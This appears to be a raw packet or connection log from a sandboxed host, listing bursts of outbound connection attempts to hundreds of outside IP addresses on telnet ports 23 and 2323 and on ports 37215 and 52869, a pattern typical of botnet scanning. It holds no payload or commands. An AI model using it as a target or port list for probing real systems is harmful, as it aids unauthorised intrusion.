Dec 4, 2024 20:34:27.746864080 CET	60787	23	192.168.2.14	142.8.161.214
Dec 4, 2024 20:34:27.746867895 CET	60787	2323	192.168.2.14	220.162.160.45
Dec 4, 2024 20:34:27.746864080 CET	60787	23	192.168.2.14	161.193.252.223
Dec 4, 2024 20:34:27.746864080 CET	60787	23	192.168.2.14	67.215.54.8
Dec 4, 2024 20:34:27.746867895 CET	60787	23	192.168.2.14	36.173.135.124
Dec 4, 2024 20:34:27.746867895 CET	60787	2323	192.168.2.14	139.203.168.53
Dec 4, 2024 20:34:27.746867895 CET	60787	23	192.168.2.14	175.54.171.246
Dec 4, 2024 20:34:27.746869087 CET	60787	23	192.168.2.14	84.172.76.218
Dec 4, 2024 20:34:27.746869087 CET	60787	23	192.168.2.14	216.176.136.67
Dec 4, 2024 20:34:27.746869087 CET	60787	23	192.168.2.14	129.4.154.94
Dec 4, 2024 20:34:27.746869087 CET	60787	23	192.168.2.14	182.216.226.152
Dec 4, 2024 20:34:27.746925116 CET	60787	23	192.168.2.14	99.251.34.246
Dec 4, 2024 20:34:27.746925116 CET	60787	2323	192.168.2.14	171.161.255.216
Dec 4, 2024 20:34:27.746925116 CET	60787	23	192.168.2.14	63.93.247.17
Dec 4, 2024 20:34:27.746925116 CET	60787	23	192.168.2.14	44.177.131.156
Dec 4, 2024 20:34:27.746925116 CET	60787	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:27.746925116 CET	60787	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:27.746925116 CET	60787	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:27.746925116 CET	60787	23	192.168.2.14	168.179.66.198
Dec 4, 2024 20:34:27.746927023 CET	60787	23	192.168.2.14	213.194.145.218
Dec 4, 2024 20:34:27.746927977 CET	60787	23	192.168.2.14	40.179.182.146
Dec 4, 2024 20:34:27.746927977 CET	60787	23	192.168.2.14	65.210.239.74
Dec 4, 2024 20:34:27.746927977 CET	60787	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:27.746927977 CET	60787	23	192.168.2.14	156.103.166.118
Dec 4, 2024 20:34:27.746928930 CET	60787	23	192.168.2.14	184.99.73.225
Dec 4, 2024 20:34:27.746927977 CET	60787	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:27.746928930 CET	60787	23	192.168.2.14	195.88.180.72
Dec 4, 2024 20:34:27.746928930 CET	60787	23	192.168.2.14	82.54.118.213
Dec 4, 2024 20:34:27.746928930 CET	60787	23	192.168.2.14	112.154.109.33
Dec 4, 2024 20:34:27.746928930 CET	60787	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:27.746928930 CET	60787	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:27.746928930 CET	60787	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:27.746928930 CET	60787	23	192.168.2.14	181.153.113.81
Dec 4, 2024 20:34:27.746932983 CET	60787	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:27.746932983 CET	60787	23	192.168.2.14	221.253.12.129
Dec 4, 2024 20:34:27.746932983 CET	60787	23	192.168.2.14	135.102.94.188
Dec 4, 2024 20:34:27.746933937 CET	60787	23	192.168.2.14	110.28.120.224
Dec 4, 2024 20:34:27.746932983 CET	60787	23	192.168.2.14	169.30.5.222
Dec 4, 2024 20:34:27.746933937 CET	60787	23	192.168.2.14	219.133.18.20
Dec 4, 2024 20:34:27.746932983 CET	60787	23	192.168.2.14	109.44.152.165
Dec 4, 2024 20:34:27.746933937 CET	60787	23	192.168.2.14	99.171.93.186
Dec 4, 2024 20:34:27.746933937 CET	60787	23	192.168.2.14	79.174.31.102
Dec 4, 2024 20:34:27.746933937 CET	60787	23	192.168.2.14	84.158.101.43
Dec 4, 2024 20:34:27.746933937 CET	60787	23	192.168.2.14	90.80.231.211
Dec 4, 2024 20:34:27.746933937 CET	60787	23	192.168.2.14	58.149.187.109
Dec 4, 2024 20:34:27.746939898 CET	60787	23	192.168.2.14	206.36.139.100
Dec 4, 2024 20:34:27.746933937 CET	60787	23	192.168.2.14	48.218.73.239
Dec 4, 2024 20:34:27.746939898 CET	60787	23	192.168.2.14	212.175.105.208
Dec 4, 2024 20:34:27.746933937 CET	60787	23	192.168.2.14	36.101.190.85
Dec 4, 2024 20:34:27.746939898 CET	60787	23	192.168.2.14	201.186.9.9
Dec 4, 2024 20:34:27.746933937 CET	60787	23	192.168.2.14	80.74.34.121
Dec 4, 2024 20:34:27.746939898 CET	60787	23	192.168.2.14	45.129.168.194
Dec 4, 2024 20:34:27.746939898 CET	60787	23	192.168.2.14	84.104.178.182
Dec 4, 2024 20:34:27.746944904 CET	60787	2323	192.168.2.14	62.249.11.144
Dec 4, 2024 20:34:27.746946096 CET	60787	23	192.168.2.14	24.150.110.220
Dec 4, 2024 20:34:27.746946096 CET	60787	23	192.168.2.14	104.34.187.196
Dec 4, 2024 20:34:27.746946096 CET	60787	23	192.168.2.14	118.37.233.105
Dec 4, 2024 20:34:27.746946096 CET	60787	23	192.168.2.14	174.91.83.160
Dec 4, 2024 20:34:27.746946096 CET	60787	23	192.168.2.14	87.113.49.129
Dec 4, 2024 20:34:27.746946096 CET	60787	2323	192.168.2.14	194.200.86.90
Dec 4, 2024 20:34:27.746946096 CET	60787	23	192.168.2.14	206.126.74.13
Dec 4, 2024 20:34:27.746954918 CET	60787	23	192.168.2.14	77.42.76.8
Dec 4, 2024 20:34:27.746954918 CET	60787	23	192.168.2.14	185.254.202.215
Dec 4, 2024 20:34:27.746954918 CET	60787	23	192.168.2.14	219.172.125.162
Dec 4, 2024 20:34:27.746954918 CET	60787	23	192.168.2.14	148.118.100.223
Dec 4, 2024 20:34:27.746954918 CET	60787	2323	192.168.2.14	73.199.93.0
Dec 4, 2024 20:34:27.746954918 CET	60787	23	192.168.2.14	219.165.12.106
Dec 4, 2024 20:34:27.746954918 CET	60787	23	192.168.2.14	196.59.45.154
Dec 4, 2024 20:34:27.746954918 CET	60787	23	192.168.2.14	196.255.210.119
Dec 4, 2024 20:34:27.746963024 CET	60787	23	192.168.2.14	142.221.99.200
Dec 4, 2024 20:34:27.746963024 CET	60787	23	192.168.2.14	207.203.115.68
Dec 4, 2024 20:34:27.746963024 CET	60787	23	192.168.2.14	139.199.44.21
Dec 4, 2024 20:34:27.746963024 CET	60787	23	192.168.2.14	46.2.187.159
Dec 4, 2024 20:34:27.746963024 CET	60787	23	192.168.2.14	96.77.200.38
Dec 4, 2024 20:34:27.746958971 CET	60787	23	192.168.2.14	76.75.86.10
Dec 4, 2024 20:34:27.746963024 CET	60787	23	192.168.2.14	133.89.173.46
Dec 4, 2024 20:34:27.746958971 CET	60787	23	192.168.2.14	99.222.44.74
Dec 4, 2024 20:34:27.746963024 CET	60787	2323	192.168.2.14	5.203.188.45
Dec 4, 2024 20:34:27.746965885 CET	60787	23	192.168.2.14	150.129.147.22
Dec 4, 2024 20:34:27.746963024 CET	60787	23	192.168.2.14	113.80.132.21
Dec 4, 2024 20:34:27.746967077 CET	60787	23	192.168.2.14	84.53.15.28
Dec 4, 2024 20:34:27.746969938 CET	60787	23	192.168.2.14	201.63.246.230
Dec 4, 2024 20:34:27.746969938 CET	60787	23	192.168.2.14	154.131.51.171
Dec 4, 2024 20:34:27.746969938 CET	60787	23	192.168.2.14	223.228.68.226
Dec 4, 2024 20:34:27.746958971 CET	60787	23	192.168.2.14	195.119.47.89
Dec 4, 2024 20:34:27.746965885 CET	60787	23	192.168.2.14	198.233.9.131
Dec 4, 2024 20:34:27.746958971 CET	60787	23	192.168.2.14	144.18.21.230
Dec 4, 2024 20:34:27.746965885 CET	60787	23	192.168.2.14	123.195.158.119
Dec 4, 2024 20:34:27.746958971 CET	60787	23	192.168.2.14	79.73.92.58
Dec 4, 2024 20:34:27.746969938 CET	60787	2323	192.168.2.14	165.213.186.177
Dec 4, 2024 20:34:27.746965885 CET	60787	23	192.168.2.14	104.224.93.48
Dec 4, 2024 20:34:27.746969938 CET	60787	23	192.168.2.14	193.83.59.121
Dec 4, 2024 20:34:27.746965885 CET	60787	23	192.168.2.14	197.194.228.24
Dec 4, 2024 20:34:27.746969938 CET	60787	23	192.168.2.14	207.96.228.32
Dec 4, 2024 20:34:27.746969938 CET	60787	23	192.168.2.14	47.210.122.178
Dec 4, 2024 20:34:27.746977091 CET	60787	23	192.168.2.14	122.64.18.188
Dec 4, 2024 20:34:27.746969938 CET	60787	23	192.168.2.14	118.92.98.120
Dec 4, 2024 20:34:27.746975899 CET	60787	23	192.168.2.14	191.186.70.64
Dec 4, 2024 20:34:27.746967077 CET	60787	23	192.168.2.14	111.57.217.86
Dec 4, 2024 20:34:27.746975899 CET	60787	23	192.168.2.14	205.169.156.45
Dec 4, 2024 20:34:27.746977091 CET	60787	23	192.168.2.14	171.79.60.222
Dec 4, 2024 20:34:27.746967077 CET	60787	23	192.168.2.14	207.217.198.12
Dec 4, 2024 20:34:27.746975899 CET	60787	2323	192.168.2.14	71.115.144.3
Dec 4, 2024 20:34:27.746975899 CET	60787	23	192.168.2.14	91.253.19.223
Dec 4, 2024 20:34:27.746967077 CET	60787	23	192.168.2.14	122.26.43.113
Dec 4, 2024 20:34:27.746975899 CET	60787	23	192.168.2.14	17.172.18.0
Dec 4, 2024 20:34:27.746967077 CET	60787	23	192.168.2.14	8.150.27.47
Dec 4, 2024 20:34:27.746975899 CET	60787	23	192.168.2.14	116.236.4.178
Dec 4, 2024 20:34:27.746984959 CET	60787	23	192.168.2.14	42.135.164.12
Dec 4, 2024 20:34:27.746975899 CET	60787	23	192.168.2.14	145.25.14.103
Dec 4, 2024 20:34:27.746967077 CET	60787	23	192.168.2.14	203.83.211.98
Dec 4, 2024 20:34:27.746969938 CET	60787	23	192.168.2.14	196.99.138.22
Dec 4, 2024 20:34:27.746993065 CET	60787	2323	192.168.2.14	153.94.159.134
Dec 4, 2024 20:34:27.746967077 CET	60787	2323	192.168.2.14	45.203.239.52
Dec 4, 2024 20:34:27.746975899 CET	60787	23	192.168.2.14	195.68.216.81
Dec 4, 2024 20:34:27.746975899 CET	60787	23	192.168.2.14	17.67.235.213
Dec 4, 2024 20:34:27.746993065 CET	60787	23	192.168.2.14	212.107.99.24
Dec 4, 2024 20:34:27.746975899 CET	60787	23	192.168.2.14	175.106.176.140
Dec 4, 2024 20:34:27.746990919 CET	60787	23	192.168.2.14	17.186.0.96
Dec 4, 2024 20:34:27.746975899 CET	60787	23	192.168.2.14	222.114.253.163
Dec 4, 2024 20:34:27.746989012 CET	60787	23	192.168.2.14	103.209.15.63
Dec 4, 2024 20:34:27.746975899 CET	60787	23	192.168.2.14	66.114.78.83
Dec 4, 2024 20:34:27.746975899 CET	60787	23	192.168.2.14	1.87.110.2
Dec 4, 2024 20:34:27.746969938 CET	60787	23	192.168.2.14	37.10.109.151
Dec 4, 2024 20:34:27.746975899 CET	60787	23	192.168.2.14	19.245.49.145
Dec 4, 2024 20:34:27.746969938 CET	60787	2323	192.168.2.14	79.110.29.60
Dec 4, 2024 20:34:27.746969938 CET	60787	23	192.168.2.14	164.157.183.215
Dec 4, 2024 20:34:27.747009993 CET	60787	23	192.168.2.14	92.176.32.102
Dec 4, 2024 20:34:27.747009993 CET	60787	23	192.168.2.14	146.188.137.237
Dec 4, 2024 20:34:27.747009993 CET	60787	23	192.168.2.14	71.230.217.116
Dec 4, 2024 20:34:27.747009993 CET	60787	23	192.168.2.14	193.90.130.84
Dec 4, 2024 20:34:27.747009993 CET	60787	23	192.168.2.14	203.5.231.51
Dec 4, 2024 20:34:27.747009993 CET	60787	23	192.168.2.14	203.240.48.161
Dec 4, 2024 20:34:27.747009993 CET	60787	23	192.168.2.14	14.227.186.47
Dec 4, 2024 20:34:27.747009993 CET	60787	23	192.168.2.14	135.154.131.91
Dec 4, 2024 20:34:27.747009993 CET	60787	23	192.168.2.14	198.79.106.160
Dec 4, 2024 20:34:27.747009993 CET	60787	23	192.168.2.14	34.193.187.65
Dec 4, 2024 20:34:27.766787052 CET	45444	37215	192.168.2.14	197.143.6.121
Dec 4, 2024 20:34:27.766787052 CET	44664	52869	192.168.2.14	41.135.93.166
Dec 4, 2024 20:34:27.766787052 CET	55288	52869	192.168.2.14	156.149.147.139
Dec 4, 2024 20:34:27.766788006 CET	52208	52869	192.168.2.14	41.222.211.104
Dec 4, 2024 20:34:27.766788006 CET	59160	37215	192.168.2.14	197.196.137.96
Dec 4, 2024 20:34:27.766788006 CET	58442	52869	192.168.2.14	41.103.209.188
Dec 4, 2024 20:34:27.766791105 CET	48000	37215	192.168.2.14	41.3.121.77
Dec 4, 2024 20:34:27.766792059 CET	51074	37215	192.168.2.14	156.252.138.242
Dec 4, 2024 20:34:27.766793013 CET	58026	37215	192.168.2.14	156.252.133.48
Dec 4, 2024 20:34:27.766793966 CET	44568	37215	192.168.2.14	156.165.42.93
Dec 4, 2024 20:34:27.766792059 CET	46408	37215	192.168.2.14	197.42.34.155
Dec 4, 2024 20:34:27.766793966 CET	52442	52869	192.168.2.14	197.61.232.166
Dec 4, 2024 20:34:27.766793966 CET	49098	52869	192.168.2.14	41.174.40.11
Dec 4, 2024 20:34:27.766808033 CET	42072	37215	192.168.2.14	197.115.11.71
Dec 4, 2024 20:34:27.766808033 CET	44424	52869	192.168.2.14	156.95.214.212
Dec 4, 2024 20:34:27.766808033 CET	45682	52869	192.168.2.14	41.191.54.80
Dec 4, 2024 20:34:27.766813993 CET	55010	37215	192.168.2.14	156.52.39.116
Dec 4, 2024 20:34:27.766813993 CET	53292	37215	192.168.2.14	41.16.199.204
Dec 4, 2024 20:34:27.766813993 CET	33924	52869	192.168.2.14	156.88.209.208
Dec 4, 2024 20:34:27.766815901 CET	38940	37215	192.168.2.14	197.5.204.6
Dec 4, 2024 20:34:27.766815901 CET	34774	37215	192.168.2.14	41.181.147.225
Dec 4, 2024 20:34:27.766815901 CET	58808	52869	192.168.2.14	156.229.181.62
Dec 4, 2024 20:34:27.766815901 CET	37750	52869	192.168.2.14	156.125.46.219
Dec 4, 2024 20:34:27.766815901 CET	42308	52869	192.168.2.14	197.207.12.12
Dec 4, 2024 20:34:27.766819954 CET	33830	37215	192.168.2.14	156.91.219.93
Dec 4, 2024 20:34:27.766819954 CET	51564	37215	192.168.2.14	156.151.128.175
Dec 4, 2024 20:34:27.766820908 CET	59698	52869	192.168.2.14	156.57.109.37
Dec 4, 2024 20:34:27.766822100 CET	34260	37215	192.168.2.14	156.182.166.141
Dec 4, 2024 20:34:27.766822100 CET	46116	37215	192.168.2.14	156.90.212.185
Dec 4, 2024 20:34:27.766822100 CET	55360	37215	192.168.2.14	41.17.85.83
Dec 4, 2024 20:34:27.766823053 CET	42978	52869	192.168.2.14	197.82.65.161
Dec 4, 2024 20:34:27.766823053 CET	52618	52869	192.168.2.14	156.235.201.159
Dec 4, 2024 20:34:27.766823053 CET	50378	52869	192.168.2.14	41.129.42.30
Dec 4, 2024 20:34:27.798823118 CET	47886	37215	192.168.2.14	197.121.233.57
Dec 4, 2024 20:34:27.798824072 CET	38580	52869	192.168.2.14	156.195.70.58
Dec 4, 2024 20:34:27.798825026 CET	34526	37215	192.168.2.14	41.69.105.118
Dec 4, 2024 20:34:27.798823118 CET	39008	52869	192.168.2.14	197.100.102.194
Dec 4, 2024 20:34:27.798824072 CET	39574	52869	192.168.2.14	156.34.193.1
Dec 4, 2024 20:34:27.798823118 CET	38090	52869	192.168.2.14	156.249.137.110
Dec 4, 2024 20:34:27.798826933 CET	37104	37215	192.168.2.14	197.79.168.188
Dec 4, 2024 20:34:27.798826933 CET	35154	37215	192.168.2.14	197.184.8.180
Dec 4, 2024 20:34:27.798830986 CET	55980	37215	192.168.2.14	41.132.5.179
Dec 4, 2024 20:34:27.798830032 CET	34092	37215	192.168.2.14	156.185.206.40
Dec 4, 2024 20:34:27.798830986 CET	56600	37215	192.168.2.14	156.158.192.228
Dec 4, 2024 20:34:27.798830986 CET	48522	37215	192.168.2.14	156.118.150.76
Dec 4, 2024 20:34:27.798830986 CET	54060	52869	192.168.2.14	41.107.6.252
Dec 4, 2024 20:34:27.798830986 CET	43718	37215	192.168.2.14	197.97.83.227
Dec 4, 2024 20:34:27.798830032 CET	40694	52869	192.168.2.14	156.44.220.216
Dec 4, 2024 20:34:27.798830986 CET	45064	37215	192.168.2.14	156.141.27.234
Dec 4, 2024 20:34:27.798830032 CET	43274	52869	192.168.2.14	197.142.129.29
Dec 4, 2024 20:34:27.798830986 CET	47454	37215	192.168.2.14	41.148.173.245
Dec 4, 2024 20:34:27.798830986 CET	57280	52869	192.168.2.14	197.162.199.101
Dec 4, 2024 20:34:27.798830986 CET	33408	37215	192.168.2.14	156.191.184.73
Dec 4, 2024 20:34:27.798830986 CET	33994	52869	192.168.2.14	41.205.219.35
Dec 4, 2024 20:34:27.798830986 CET	49050	52869	192.168.2.14	156.43.129.143
Dec 4, 2024 20:34:27.798830986 CET	56560	52869	192.168.2.14	156.187.20.109
Dec 4, 2024 20:34:27.798830986 CET	57384	52869	192.168.2.14	156.48.140.101
Dec 4, 2024 20:34:27.798844099 CET	55382	52869	192.168.2.14	197.89.179.31
Dec 4, 2024 20:34:27.798844099 CET	57124	37215	192.168.2.14	197.137.12.25
Dec 4, 2024 20:34:27.798846006 CET	45548	37215	192.168.2.14	41.199.58.224
Dec 4, 2024 20:34:27.798844099 CET	40992	52869	192.168.2.14	197.1.190.197
Dec 4, 2024 20:34:27.798845053 CET	39918	37215	192.168.2.14	197.83.168.206
Dec 4, 2024 20:34:27.798846006 CET	35180	37215	192.168.2.14	156.207.141.171
Dec 4, 2024 20:34:27.798845053 CET	42896	52869	192.168.2.14	197.218.147.117
Dec 4, 2024 20:34:27.798844099 CET	48482	52869	192.168.2.14	156.30.92.86
Dec 4, 2024 20:34:27.798846006 CET	49660	37215	192.168.2.14	41.218.25.18
Dec 4, 2024 20:34:27.798847914 CET	41632	37215	192.168.2.14	197.234.28.90
Dec 4, 2024 20:34:27.798847914 CET	56468	52869	192.168.2.14	41.187.20.236
Dec 4, 2024 20:34:27.798847914 CET	50460	52869	192.168.2.14	41.27.123.27
Dec 4, 2024 20:34:27.798852921 CET	43000	52869	192.168.2.14	197.100.107.0
Dec 4, 2024 20:34:27.798852921 CET	32788	37215	192.168.2.14	41.122.116.38
Dec 4, 2024 20:34:27.798854113 CET	56182	37215	192.168.2.14	156.18.94.51
Dec 4, 2024 20:34:27.798854113 CET	52394	37215	192.168.2.14	156.36.98.78
Dec 4, 2024 20:34:27.830785036 CET	39594	37215	192.168.2.14	41.142.203.25
Dec 4, 2024 20:34:27.830785036 CET	57150	37215	192.168.2.14	197.131.55.234
Dec 4, 2024 20:34:27.830785036 CET	43520	52869	192.168.2.14	41.40.186.136
Dec 4, 2024 20:34:27.830785990 CET	38390	37215	192.168.2.14	156.76.127.73
Dec 4, 2024 20:34:27.830785036 CET	46734	37215	192.168.2.14	41.231.60.22
Dec 4, 2024 20:34:27.830786943 CET	43774	52869	192.168.2.14	197.16.184.131
Dec 4, 2024 20:34:27.830785036 CET	39806	52869	192.168.2.14	41.133.228.190
Dec 4, 2024 20:34:27.830786943 CET	51694	52869	192.168.2.14	156.162.89.139
Dec 4, 2024 20:34:27.830785990 CET	53884	52869	192.168.2.14	197.218.155.181
Dec 4, 2024 20:34:27.830785990 CET	38444	52869	192.168.2.14	41.141.127.36
Dec 4, 2024 20:34:27.830786943 CET	40010	37215	192.168.2.14	197.70.221.90
Dec 4, 2024 20:34:27.830786943 CET	43604	37215	192.168.2.14	197.170.86.190
Dec 4, 2024 20:34:27.830785036 CET	50922	52869	192.168.2.14	41.191.147.247
Dec 4, 2024 20:34:27.830785990 CET	56826	37215	192.168.2.14	197.172.250.156
Dec 4, 2024 20:34:27.830785990 CET	37216	52869	192.168.2.14	197.132.171.98
Dec 4, 2024 20:34:27.830785990 CET	57116	37215	192.168.2.14	197.73.36.58
Dec 4, 2024 20:34:27.830785990 CET	40024	52869	192.168.2.14	41.103.215.205
Dec 4, 2024 20:34:27.830786943 CET	48738	37215	192.168.2.14	197.166.65.21
Dec 4, 2024 20:34:27.830785990 CET	56770	52869	192.168.2.14	197.70.132.232
Dec 4, 2024 20:34:27.830785990 CET	36100	52869	192.168.2.14	156.99.178.7
Dec 4, 2024 20:34:27.830786943 CET	35820	52869	192.168.2.14	156.41.217.253
Dec 4, 2024 20:34:27.830802917 CET	38462	52869	192.168.2.14	41.151.25.158
Dec 4, 2024 20:34:27.830802917 CET	42732	37215	192.168.2.14	197.118.189.73
Dec 4, 2024 20:34:27.830805063 CET	51424	37215	192.168.2.14	41.133.130.130
Dec 4, 2024 20:34:27.830805063 CET	38684	52869	192.168.2.14	197.218.195.246
Dec 4, 2024 20:34:27.830805063 CET	54272	37215	192.168.2.14	41.97.190.30
Dec 4, 2024 20:34:27.830805063 CET	52720	52869	192.168.2.14	41.217.152.38
Dec 4, 2024 20:34:27.830805063 CET	48394	37215	192.168.2.14	156.1.142.180
Dec 4, 2024 20:34:27.830805063 CET	38742	37215	192.168.2.14	156.188.155.149
Dec 4, 2024 20:34:27.830805063 CET	41388	37215	192.168.2.14	156.54.44.90
Dec 4, 2024 20:34:27.830812931 CET	48508	37215	192.168.2.14	197.93.150.183
Dec 4, 2024 20:34:27.830812931 CET	51350	52869	192.168.2.14	156.59.66.240
Dec 4, 2024 20:34:27.830816031 CET	59790	37215	192.168.2.14	156.169.221.213
Dec 4, 2024 20:34:27.830816031 CET	46286	37215	192.168.2.14	197.39.33.249
Dec 4, 2024 20:34:27.830816031 CET	53460	37215	192.168.2.14	41.234.244.9
Dec 4, 2024 20:34:27.830816031 CET	38930	52869	192.168.2.14	197.135.59.96
Dec 4, 2024 20:34:27.830816031 CET	58882	37215	192.168.2.14	41.38.128.112
Dec 4, 2024 20:34:27.830825090 CET	42654	52869	192.168.2.14	197.46.172.83
Dec 4, 2024 20:34:27.830825090 CET	60254	37215	192.168.2.14	156.243.30.234
Dec 4, 2024 20:34:27.830825090 CET	37026	37215	192.168.2.14	156.239.174.27
Dec 4, 2024 20:34:27.862801075 CET	35244	52869	192.168.2.14	41.47.150.192
Dec 4, 2024 20:34:27.862802982 CET	39422	52869	192.168.2.14	156.235.228.202
Dec 4, 2024 20:34:27.862801075 CET	52774	52869	192.168.2.14	41.91.62.119
Dec 4, 2024 20:34:27.862803936 CET	58254	37215	192.168.2.14	41.18.81.231
Dec 4, 2024 20:34:27.862804890 CET	57020	37215	192.168.2.14	197.99.150.85
Dec 4, 2024 20:34:27.862803936 CET	58964	37215	192.168.2.14	197.196.118.52
Dec 4, 2024 20:34:27.862804890 CET	58426	52869	192.168.2.14	41.204.228.145
Dec 4, 2024 20:34:27.862806082 CET	60782	37215	192.168.2.14	197.66.42.187
Dec 4, 2024 20:34:27.862806082 CET	46408	37215	192.168.2.14	41.132.108.110
Dec 4, 2024 20:34:27.862807035 CET	43588	37215	192.168.2.14	41.89.86.35
Dec 4, 2024 20:34:27.862804890 CET	57972	37215	192.168.2.14	156.16.222.195
Dec 4, 2024 20:34:27.862806082 CET	38270	37215	192.168.2.14	41.209.140.78
Dec 4, 2024 20:34:27.862807035 CET	42102	52869	192.168.2.14	197.13.85.162
Dec 4, 2024 20:34:27.862807035 CET	43672	52869	192.168.2.14	197.154.16.245
Dec 4, 2024 20:34:27.862806082 CET	41014	52869	192.168.2.14	41.113.109.146
Dec 4, 2024 20:34:27.862806082 CET	50896	37215	192.168.2.14	156.68.169.141
Dec 4, 2024 20:34:27.862807035 CET	32998	52869	192.168.2.14	41.74.212.165
Dec 4, 2024 20:34:27.862806082 CET	50492	37215	192.168.2.14	41.76.128.125
Dec 4, 2024 20:34:27.862807035 CET	53186	52869	192.168.2.14	156.138.242.151
Dec 4, 2024 20:34:27.862807035 CET	41274	37215	192.168.2.14	197.14.22.139
Dec 4, 2024 20:34:27.862823009 CET	43310	37215	192.168.2.14	156.122.28.201
Dec 4, 2024 20:34:27.862823009 CET	46506	37215	192.168.2.14	156.17.223.166
Dec 4, 2024 20:34:27.862823963 CET	50940	37215	192.168.2.14	197.248.198.178
Dec 4, 2024 20:34:27.862823963 CET	33732	52869	192.168.2.14	197.241.250.10
Dec 4, 2024 20:34:27.862823963 CET	53526	52869	192.168.2.14	156.101.138.138
Dec 4, 2024 20:34:27.862827063 CET	32806	37215	192.168.2.14	41.246.105.213
Dec 4, 2024 20:34:27.862827063 CET	45896	37215	192.168.2.14	197.130.161.148
Dec 4, 2024 20:34:27.862828016 CET	56662	52869	192.168.2.14	156.199.251.203
Dec 4, 2024 20:34:27.862826109 CET	50066	52869	192.168.2.14	197.112.39.52
Dec 4, 2024 20:34:27.862828016 CET	54466	37215	192.168.2.14	197.36.131.169
Dec 4, 2024 20:34:27.862828970 CET	36808	37215	192.168.2.14	41.14.72.174
Dec 4, 2024 20:34:27.862828970 CET	59544	52869	192.168.2.14	156.117.216.181
Dec 4, 2024 20:34:27.862828016 CET	39540	52869	192.168.2.14	197.168.102.205
Dec 4, 2024 20:34:27.862826109 CET	51632	52869	192.168.2.14	197.9.119.228
Dec 4, 2024 20:34:27.862828016 CET	55620	52869	192.168.2.14	197.193.229.83
Dec 4, 2024 20:34:27.862828970 CET	41356	52869	192.168.2.14	197.164.96.86
Dec 4, 2024 20:34:27.862833023 CET	59956	37215	192.168.2.14	197.60.193.45
Dec 4, 2024 20:34:27.862827063 CET	59636	52869	192.168.2.14	41.152.98.185
Dec 4, 2024 20:34:27.867604971 CET	23	60787	37.98.81.13	192.168.2.14
Dec 4, 2024 20:34:27.867662907 CET	60787	23	192.168.2.14	37.98.81.13
Dec 4, 2024 20:34:27.867675066 CET	2323	60787	41.245.255.88	192.168.2.14
Dec 4, 2024 20:34:27.867686033 CET	23	60787	144.88.5.55	192.168.2.14
Dec 4, 2024 20:34:27.867695093 CET	23	60787	218.64.224.196	192.168.2.14
Dec 4, 2024 20:34:27.867698908 CET	23	60787	180.100.180.63	192.168.2.14
Dec 4, 2024 20:34:27.867703915 CET	23	60787	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:27.867707968 CET	23	60787	87.18.192.151	192.168.2.14
Dec 4, 2024 20:34:27.867712021 CET	23	60787	18.64.164.142	192.168.2.14
Dec 4, 2024 20:34:27.867722034 CET	60787	2323	192.168.2.14	41.245.255.88
Dec 4, 2024 20:34:27.867769003 CET	60787	23	192.168.2.14	18.64.164.142
Dec 4, 2024 20:34:27.867774963 CET	60787	23	192.168.2.14	144.88.5.55
Dec 4, 2024 20:34:27.867810011 CET	60787	23	192.168.2.14	218.64.224.196
Dec 4, 2024 20:34:27.867810011 CET	60787	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:27.867813110 CET	60787	23	192.168.2.14	180.100.180.63
Dec 4, 2024 20:34:27.867813110 CET	60787	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:27.867840052 CET	23	60787	64.37.90.98	192.168.2.14
Dec 4, 2024 20:34:27.867850065 CET	23	60787	160.113.182.46	192.168.2.14
Dec 4, 2024 20:34:27.867857933 CET	23	60787	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:27.867866993 CET	23	60787	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:27.867875099 CET	23	60787	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:27.867877007 CET	60787	23	192.168.2.14	64.37.90.98
Dec 4, 2024 20:34:27.867885113 CET	23	60787	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:27.867892981 CET	23	60787	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:27.867898941 CET	60787	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:27.867901087 CET	23	60787	161.193.252.223	192.168.2.14
Dec 4, 2024 20:34:27.867911100 CET	23	60787	38.185.149.251	192.168.2.14
Dec 4, 2024 20:34:27.867919922 CET	23	60787	38.85.184.15	192.168.2.14
Dec 4, 2024 20:34:27.867924929 CET	60787	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:27.867924929 CET	60787	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:27.867929935 CET	23	60787	167.81.113.199	192.168.2.14
Dec 4, 2024 20:34:27.867939949 CET	23	60787	70.38.173.168	192.168.2.14
Dec 4, 2024 20:34:27.867949009 CET	60787	23	192.168.2.14	160.113.182.46
Dec 4, 2024 20:34:27.867949009 CET	23	60787	134.247.195.205	192.168.2.14
Dec 4, 2024 20:34:27.867959023 CET	23	60787	161.204.36.67	192.168.2.14
Dec 4, 2024 20:34:27.867961884 CET	60787	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:27.867968082 CET	23	60787	164.152.144.218	192.168.2.14
Dec 4, 2024 20:34:27.867976904 CET	23	60787	103.222.238.109	192.168.2.14
Dec 4, 2024 20:34:27.867980957 CET	60787	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:27.867988110 CET	60787	23	192.168.2.14	161.193.252.223
Dec 4, 2024 20:34:27.868004084 CET	60787	23	192.168.2.14	164.152.144.218
Dec 4, 2024 20:34:27.868019104 CET	60787	23	192.168.2.14	38.185.149.251
Dec 4, 2024 20:34:27.868031025 CET	60787	23	192.168.2.14	38.85.184.15
Dec 4, 2024 20:34:27.868037939 CET	60787	23	192.168.2.14	167.81.113.199
Dec 4, 2024 20:34:27.868052959 CET	60787	23	192.168.2.14	70.38.173.168
Dec 4, 2024 20:34:27.868066072 CET	60787	23	192.168.2.14	134.247.195.205
Dec 4, 2024 20:34:27.868077040 CET	60787	23	192.168.2.14	161.204.36.67
Dec 4, 2024 20:34:27.868091106 CET	60787	23	192.168.2.14	103.222.238.109
Dec 4, 2024 20:34:27.868609905 CET	2323	60787	139.203.168.53	192.168.2.14
